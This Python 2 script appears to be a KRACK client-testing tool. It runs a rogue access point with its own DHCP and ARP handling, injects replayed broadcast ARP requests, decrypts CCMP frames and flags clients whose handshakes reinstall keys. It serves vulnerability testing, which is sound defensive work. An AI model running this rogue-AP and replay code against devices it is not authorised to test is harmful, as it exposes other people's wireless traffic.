krack-test-client.py 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548
  1. #!/usr/bin/env python2
  2. import logging
  3. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  4. from scapy.all import *
  5. import sys, socket, struct, time, subprocess, atexit, select
  6. from datetime import datetime
  7. from wpaspy import Ctrl
  8. from Cryptodome.Cipher import AES
  9. # TODO: !!!! Testing the group key handshake against one client, interferes with 4-way handshake tests against another client !!!!
  10. # TODO: Keep testing if the client is marked as secure
  11. # TODO: Test for (broadcast) replay attacks without *without* reinstalling the key (might just be a shitty client not detected replays)
  12. # - Sitecom NIC accepts replayed broadcast frames on Windows 10
  13. # - netr82ux, 802.11n USB Wireless LAN Card, "WIRELESS 150 Mbps ADAPTER" accepts replayed broadcast frames on Windows 10
  14. # - WNDA3200 rejects them on Windows 10
  15. # TODO: Try to decrypt using all-zero TK to detect the Android case?
  16. # TODO: In the description, mention how to generate unicast traffic
  17. # TODO: Also mention the "saw no reset of X intervals" has to be displayed several times
  18. # TODO: Mention that it's recommended to test group key reset using multiple Wi-Fi dongles (hardware encryption of some might interfere making it seem the client is patched, while it's actually vulnerable).
  19. # TODO: Test against OpenBSD
  20. # After how many seconds a new message 3 is sent
  21. MSG3_TRANSMIT_INTERVAL = 2
  22. #### Basic output and logging functionality ####
  23. ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
  24. COLORCODES = { "gray" : "\033[0;37m",
  25. "green" : "\033[0;32m",
  26. "orange": "\033[0;33m",
  27. "red" : "\033[0;31m" }
  28. global_log_level = INFO
  29. def log(level, msg, color=None, showtime=True):
  30. if level < global_log_level: return
  31. if level == DEBUG and color is None: color="gray"
  32. if level == WARNING and color is None: color="orange"
  33. if level == ERROR and color is None: color="red"
  34. print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
  35. #### Packet Processing Functions ####
  36. class DHCP_sock(DHCP_am):
  37. def __init__(self, **kwargs):
  38. self.sock = kwargs.pop("sock")
  39. super(DHCP_am, self).__init__(**kwargs)
  40. def send_reply(self, reply):
  41. self.sock.send(reply, **self.optsend)
  42. def print_reply(self, req, reply):
  43. log(STATUS, "%s: DHCP reply %s to %s" % (reply.getlayer(Ether).dst, reply.getlayer(IP).dst, reply.dst), color="green")
  44. def remove_client(self, clientmac):
  45. clientip = self.leases[clientmac]
  46. self.pool.append(clientip)
  47. del self.leases[clientmac]
  48. class ARP_sock(ARP_am):
  49. def __init__(self, **kwargs):
  50. self.sock = kwargs.pop("sock")
  51. super(ARP_am, self).__init__(**kwargs)
  52. def send_reply(self, reply):
  53. self.sock.send(reply, **self.optsend)
  54. def print_reply(self, req, reply):
  55. log(STATUS, "%s: ARP: %s ==> %s on %s" % (reply.getlayer(Ether).dst, req.summary(), reply.summary(), self.iff))
  56. class MitmSocket(L2Socket):
  57. def __init__(self, **kwargs):
  58. super(MitmSocket, self).__init__(**kwargs)
  59. def send(self, p):
  60. # Hack: set the More Data flag so we can detect injected frames (and so clients stay awake longer)
  61. p[Dot11].FCfield |= 0x20
  62. L2Socket.send(self, RadioTap()/p)
  63. def _strip_fcs(self, p):
  64. # Scapy can't handle the optional Frame Check Sequence (FCS) field automatically
  65. if p[RadioTap].present & 2 != 0:
  66. rawframe = str(p[RadioTap])
  67. pos = 8
  68. while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
  69. # If the TSFT field is present, it must be 8-bytes aligned
  70. if p[RadioTap].present & 1 != 0:
  71. pos += (8 - (pos % 8))
  72. pos += 8
  73. # Remove FCS if present
  74. if ord(rawframe[pos]) & 0x10 != 0:
  75. return Dot11(str(p[Dot11])[:-4])
  76. return p[Dot11]
  77. def recv(self, x=MTU):
  78. p = L2Socket.recv(self, x)
  79. if p == None or not Dot11 in p: return None
  80. # Hack: ignore frames that we just injected and are echoed back by the kernel
  81. if p[Dot11].FCfield & 0x20 != 0:
  82. return None
  83. # Strip the FCS if present, and drop the RadioTap header
  84. return self._strip_fcs(p)
  85. def close(self):
  86. super(MitmSocket, self).close()
  87. def dot11_get_seqnum(p):
  88. return p[Dot11].SC >> 4
  89. def dot11_get_iv(p):
  90. """Scapy can't handle Extended IVs, so do this properly ourselves (only works for CCMP)"""
  91. wep = p[Dot11WEP]
  92. if wep.keyid & 32:
  93. # FIXME: Only CCMP is supported (TKIP uses a different IV structure)
  94. return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[0:4])[0] << 16)
  95. else:
  96. return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
  97. def dot11_get_priority(p):
  98. if not Dot11QoS in p: return 0
  99. return ord(str(p[Dot11QoS])[0])
  100. #### Main Testing Code ####
  101. class IvInfo():
  102. def __init__(self, p):
  103. self.iv = dot11_get_iv(p)
  104. self.seq = dot11_get_seqnum(p)
  105. self.time = p.time
  106. def is_reused(self, p):
  107. iv = dot11_get_iv(p)
  108. seq = dot11_get_seqnum(p)
  109. return self.iv == iv and self.seq != seq and p.time >= self.time + 1
  110. class ClientState():
  111. UNKNOWN, VULNERABLE, PATCHED = range(3)
  112. IDLE, STARTED, GOT_CANARY, FINISHED = range(4)
  113. def __init__(self, clientmac, test_group_hs=False):
  114. self.mac = clientmac
  115. self.TK = None
  116. self.vuln_4way = ClientState.UNKNOWN
  117. self.vuln_group = ClientState.UNKNOWN # TODO: Own one for group handshake
  118. self.ivs = dict() # key is the IV value
  119. self.encdata_prev = None
  120. self.encdata_intervals = 0
  121. self.groupkey_reset()
  122. self.groupkey_grouphs = test_group_hs
  123. def groupkey_reset(self):
  124. # FIXME: Rename variable to groupkey (to make difference with grouphs)
  125. self.groupkey_state = ClientState.IDLE
  126. self.groupkey_prev_canary_time = 0
  127. self.groupkey_num_canaries = 0
  128. self.groupkey_requests_sent = 0
  129. self.groupkey_patched_intervals = -1 # -1 because the first broadcast ARP requests are still valid
  130. def start_grouphs_test():
  131. self.groupkey_reset()
  132. self.groupkey_grouphs = True
  133. def get_encryption_key(self, hostapd_ctrl):
  134. if self.TK is None:
  135. while hostapd_ctrl.pending():
  136. hostapd_ctrl.recv()
  137. response = hostapd_ctrl.request("GET_TK " + self.mac)
  138. if not "FAIL" in response:
  139. self.TK = response.strip().decode("hex")
  140. return self.TK
  141. def decrypt(self, p, hostapd_ctrl):
  142. payload = str(p.wepdata[4:-4])
  143. llcsnap, packet = payload[:8], payload[8:]
  144. if payload.startswith("\xAA\xAA\x03\x00\x00\x00"):
  145. plaintext = payload
  146. else:
  147. client = self.mac
  148. key = self.get_encryption_key(hostapd_ctrl)
  149. priority = dot11_get_priority(p)
  150. iv = dot11_get_iv(p)
  151. pn = struct.pack(">I", iv >> 16) + struct.pack(">H", iv & 0xFFFF)
  152. nonce = chr(priority) + self.mac.replace(':','').decode("hex") + pn
  153. cipher = AES.new(key, AES.MODE_CCM, nonce, mac_len=8)
  154. plaintext = cipher.decrypt(payload)
  155. return plaintext
  156. def track_used_iv(self, p):
  157. iv = dot11_get_iv(p)
  158. self.ivs[iv] = IvInfo(p)
  159. def is_iv_reused(self, p):
  160. """Returns True if this is an *observed* IV reuse"""
  161. iv = dot11_get_iv(p)
  162. return iv in self.ivs and self.ivs[iv].is_reused(p)
  163. def is_new_iv(self, p):
  164. """Returns True if the IV in this frame is higher than all previously observed ones"""
  165. iv = dot11_get_iv(p)
  166. if len(self.ivs) == 0: return True
  167. return iv > max(self.ivs.keys())
  168. def check_pairwise_reinstall(self, p):
  169. # If this is gaurenteed to be IV reuse
  170. if self.is_iv_reused(p):
  171. if self.vuln_4way != ClientState.VULNERABLE:
  172. iv = dot11_get_iv(p)
  173. seq = dot11_get_seqnum(p)
  174. log(INFO, ("%s: IV reuse detected (IV=%d, seq=%d). " +
  175. "Client is vulnerable to pairwise key reinstallations in the 4-way handshake!") % (self.mac, iv, seq), color="green")
  176. self.vuln_4way = ClientState.VULNERABLE
  177. # If it's a higher IV than all previous ones, try to check if it seems patched
  178. elif self.vuln_4way == ClientState.UNKNOWN and self.is_new_iv(p):
  179. # Save how many intervals we received a data packet without IV reset.
  180. # Use twice the transmission interval of message 3, in case one message 3 is lost due to noise.
  181. if self.encdata_prev is None:
  182. self.encdata_prev = p.time
  183. elif self.encdata_prev + 2 * MSG3_TRANSMIT_INTERVAL + 1 <= p.time:
  184. self.encdata_intervals += 1
  185. self.encdata_prev = p.time
  186. log(DEBUG, "%s: no pairwise IV resets seem to have occured for one interval" % self.mac)
  187. # If several reset attempts did not appear to reset the IV, the client is likely patched.
  188. # Wait for enough reset attempts to occur and test, to avoid giving the wrong result.
  189. if self.encdata_intervals >= 5 and self.vuln_4way == ClientState.UNKNOWN:
  190. self.vuln_4way = ClientState.PATCHED
  191. log(INFO, "%s: client DOESN'T seem vulnerable to pairwise key reinstallation in the 4-way handshake." % self.mac, color="green")
  192. def groupkey_handle_canary(self, p):
  193. if not self.groupkey_state in [ClientState.STARTED, ClientState.GOT_CANARY]: return
  194. if self.groupkey_prev_canary_time + 1 > p.time: return
  195. self.groupkey_num_canaries += 1
  196. log(DEBUG, "%s: received broadcast ARP replay number %d\n" % (self.mac, self.groupkey_num_canaries))
  197. if self.groupkey_num_canaries >= 5:
  198. assert self.vuln_group != ClientState.VULNERABLE
  199. # TODO: Either accepts replayed messages, or vulnerable to group key reinstallation attack
  200. log(INFO, ("%s: Received %d unique replies to replayed broadcast ARP requests. " +
  201. "Client is vulnerable to group key reinstallations in the %s handshake!") \
  202. % (self.mac, self.groupkey_num_canaries, "group key" if self.groupkey_grouphs else "4-way"), color="green")
  203. self.vuln_group = ClientState.VULNERABLE
  204. self.groupkey_state = ClientState.FINISHED
  205. else:
  206. self.groupkey_state = ClientState.GOT_CANARY
  207. self.groupkey_prev_canary_time = p.time
  208. def groupkey_track_request(self):
  209. if self.vuln_group != ClientState.UNKNOWN: return
  210. hstype = "group key" if self.groupkey_grouphs else "4-way"
  211. if self.groupkey_state == ClientState.IDLE:
  212. log(STATUS, "%s: client has IP address -> testing for group key reinstallation in the %s handshake" % (self.mac, hstype))
  213. self.groupkey_state = ClientState.STARTED
  214. # We got no response for a while, indication that client is secure
  215. if self.groupkey_requests_sent == 3:
  216. if self.groupkey_state == ClientState.GOT_CANARY:
  217. log(DEBUG, "%s: got a reply to broadcast ARP during this interval" % self.mac)
  218. self.groupkey_state = ClientState.STARTED
  219. elif self.groupkey_state == ClientState.STARTED:
  220. self.groupkey_patched_intervals += 1
  221. log(DEBUG, "%s: no group IV resets seem to have occured for %d interval(s)" % (self.mac, self.groupkey_patched_intervals))
  222. self.groupkey_state = ClientState.STARTED
  223. self.groupkey_requests_sent = 0
  224. # If several intervals appear secure, the client is likely patched
  225. if self.groupkey_patched_intervals >= 5 and self.vuln_group == ClientState.UNKNOWN:
  226. log(INFO, "%s: client DOESN'T seem vulnerable to group key reinstallation in the %s handshake." % (self.mac, hstype), color="green")
  227. self.vuln_group = ClientState.PATCHED
  228. self.groupkey_state = ClientState.FINISHED
  229. self.groupkey_requests_sent += 1
  230. log(DEBUG, "%s: sent %d broadcasts ARPs this interval" % (self.mac, self.groupkey_requests_sent))
  231. class KRAckAttackClient():
  232. def __init__(self, interface):
  233. self.nic_iface = interface
  234. self.nic_mon = interface + "mon"
  235. self.apmac = scapy.arch.get_if_hwaddr(interface)
  236. self.test_grouphs = False
  237. self.sock_mon = None
  238. self.sock_eth = None
  239. self.hostapd = None
  240. self.hostapd_ctrl = None
  241. self.dhcp = None
  242. self.arp = None
  243. self.group_ip = None
  244. self.group_arp = None
  245. self.clients = dict()
  246. def reset_client_info(self, clientmac):
  247. if clientmac in self.dhcp.leases:
  248. self.dhcp.remove_client(clientmac)
  249. log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
  250. if clientmac in self.clients:
  251. del self.clients[clientmac]
  252. log(DEBUG, "%s: Removing ClientState object" % clientmac)
  253. def handle_replay(self, p):
  254. # HACK: Our virtual monitor interface will still decrypt the CCMP payload for us. This means we
  255. # can reconstruct the Ethernet header, and extract the decrypted payload form the Wi-Fi frame.
  256. # Use this to handle frames with an already used IV (replays) that were rejected by the kernel.
  257. if not Dot11WEP in p: return
  258. # Reconstruct Ethernet header
  259. clientmac = p.addr2
  260. header = Ether(dst=self.apmac, src=clientmac)
  261. header.time = p.time
  262. # Extract encrypted data
  263. # - Skip extended IV (4 bytes in total)
  264. # - Do not include first 4 remaining CCMP MIC bytes (last 4 are already the WEP ICV)
  265. payload = str(p.wepdata[4:-4])
  266. # Decrypt the payload and obtain LLC/SNAP header and packet content
  267. client = self.clients[clientmac]
  268. plaintext = client.decrypt(p, self.hostapd_ctrl)
  269. llcsnap, packet = plaintext[:8], plaintext[8:]
  270. # Rebuild the full Ethernet packet
  271. if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06":
  272. decap = header/ARP(packet)
  273. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00":
  274. decap = header/IP(packet)
  275. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd":
  276. decap = header/IPv6(packet)
  277. #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e":
  278. # # EAPOL
  279. else:
  280. return
  281. # Now process the packet as if it were a valid (non-replayed) one
  282. self.process_eth_rx(decap)
  283. def handle_mon_rx(self):
  284. p = self.sock_mon.recv()
  285. if p == None: return
  286. if p.type == 1: return
  287. # Note: here we cannot verify that the NIC is indeed reusing IVs when sending the
  288. # broadcast ARP requests, because it may override them in the firmware/hardware.
  289. # The first bit in FCfield is set if the frames is "to-DS"
  290. clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1)
  291. if apmac != self.apmac: return None
  292. if Dot11Deauth in p or Dot11Disas in p:
  293. self.reset_client_info(clientmac)
  294. elif p.addr1 == self.apmac and Dot11WEP in p:
  295. if not clientmac in self.clients:
  296. self.clients[clientmac] = ClientState(clientmac, test_group_hs=self.test_grouphs)
  297. client = self.clients[clientmac]
  298. iv = dot11_get_iv(p)
  299. log(DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p)))
  300. if not self.test_grouphs:
  301. client.check_pairwise_reinstall(p)
  302. if client.is_iv_reused(p):
  303. self.handle_replay(p)
  304. client.track_used_iv(p)
  305. def process_eth_rx(self, p):
  306. self.dhcp.reply(p)
  307. self.arp.reply(p)
  308. self.group_arp.reply(p)
  309. clientmac = p[Ether].src
  310. if not clientmac in self.clients: return
  311. client = self.clients[clientmac]
  312. if ARP in p and p[ARP].pdst == self.group_ip:
  313. client.groupkey_handle_canary(p)
  314. def handle_eth_rx(self):
  315. p = self.sock_eth.recv()
  316. if p == None or not Ether in p: return
  317. self.process_eth_rx(p)
  318. def configure_interfaces(self):
  319. log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
  320. # 1. Remove unused virtual interfaces to start from a clean state
  321. subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  322. # 2. Configure monitor mode on interfaces
  323. subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  324. # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  325. # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
  326. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  327. time.sleep(0.5)
  328. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  329. subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  330. def run(self, test_grouphs=False):
  331. self.configure_interfaces()
  332. # Open the hostapd instance that carries out tests and let it start
  333. self.hostapd = subprocess.Popen(sys.argv[1:])
  334. time.sleep(0.5)
  335. self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  336. self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
  337. self.dhcp = DHCP_sock(sock=self.sock_eth,
  338. domain='krackattack.com',
  339. pool=Net('192.168.100.0/24'),
  340. network='192.168.100.0/24',
  341. gw='192.168.100.254',
  342. renewal_time=600, lease_time=3600)
  343. self.arp = ARP_sock(sock=self.sock_eth, IP_addr='192.168.100.254', ARP_addr=self.apmac)
  344. self.group_ip = self.dhcp.pool.pop()
  345. self.group_arp = ARP_sock(sock=self.sock_eth, IP_addr=self.group_ip, ARP_addr=self.apmac)
  346. log(STATUS, "Giving the rogue hostapd one second to initialize ...")
  347. time.sleep(1)
  348. self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
  349. self.hostapd_ctrl.attach()
  350. # Inform hostapd that we are testing the group key, if applicalbe
  351. if test_grouphs:
  352. self.hostapd_ctrl.request("START_GROUP_TESTS")
  353. self.test_grouphs = True
  354. log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!")
  355. # Monitor the virtual monitor interface of the AP and perform the needed actions
  356. self.next_arp = time.time() + 1
  357. while True:
  358. sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
  359. if self.sock_mon in sel[0]: self.handle_mon_rx()
  360. if self.sock_eth in sel[0]: self.handle_eth_rx()
  361. if time.time() > self.next_arp:
  362. self.next_arp = time.time() + MSG3_TRANSMIT_INTERVAL
  363. for client in self.clients.values():
  364. # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames)
  365. if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
  366. clientip = self.dhcp.leases[client.mac]
  367. client.groupkey_track_request()
  368. log(INFO, "%s: sending broadcast ARP to %s from %s" % (client.mac, clientip, self.group_ip))
  369. request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, hwsrc=self.apmac, psrc=self.group_ip, pdst=clientip)
  370. self.sock_eth.send(request)
  371. def stop(self):
  372. log(STATUS, "Closing hostapd and cleaning up ...")
  373. if self.hostapd:
  374. self.hostapd.terminate()
  375. self.hostapd.wait()
  376. if self.sock_mon: self.sock_mon.close()
  377. if self.sock_eth: self.sock_eth.close()
  378. def cleanup():
  379. attack.stop()
  380. def argv_get_interface():
  381. for i in range(len(sys.argv)):
  382. if not sys.argv[i].startswith("-i"):
  383. continue
  384. if len(sys.argv[i]) > 2:
  385. return sys.argv[i][2:]
  386. else:
  387. return sys.argv[i + 1]
  388. return None
  389. def argv_pop_argument(argument):
  390. if not argument in sys.argv: return False
  391. idx = sys.argv.index(argument)
  392. del sys.argv[idx]
  393. return True
  394. def hostapd_read_config():
  395. # FIXME: Detect and display warning when multiple interfaces are used
  396. if len(sys.argv) <= 1: return None
  397. # Read the config, get the interface name, and verify some settings
  398. interface = argv_get_interface()
  399. confpath = sys.argv[-1]
  400. with open(confpath) as fp:
  401. for line in fp.readlines():
  402. line = line.strip()
  403. if line.startswith("interface="):
  404. interface = line.split('=')[1]
  405. elif line.startswith("wpa_pairwise=") or line.startswith("rsn_pairwise"):
  406. if "TKIP" in line:
  407. log(ERROR, "ERROR: This scripts only support tests using CCMP. Only include CCMP in the following config line:")
  408. log(ERROR, " >%s<" % line, showtime=False)
  409. quit(1)
  410. # Parameter -i overrides interface in config
  411. if argv_get_interface() is not None:
  412. interface = argv_get_interface()
  413. return interface
  414. if __name__ == "__main__":
  415. if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
  416. # TODO
  417. #print USAGE.format(name=sys.argv[0])
  418. quit(1)
  419. test_grouphs = argv_pop_argument("--group")
  420. while argv_pop_argument("--debug"):
  421. global_log_level -= 1
  422. try:
  423. interface = hostapd_read_config()
  424. except Exception as ex:
  425. log(ERROR, "Failed to parse the hostapd config file")
  426. raise
  427. if not interface:
  428. log(ERROR, "Failed to determine wireless interface. Specify one in the hostapd config file.")
  429. quit(1)
  430. attack = KRAckAttackClient(interface)
  431. atexit.register(cleanup)
  432. attack.run(test_grouphs=test_grouphs)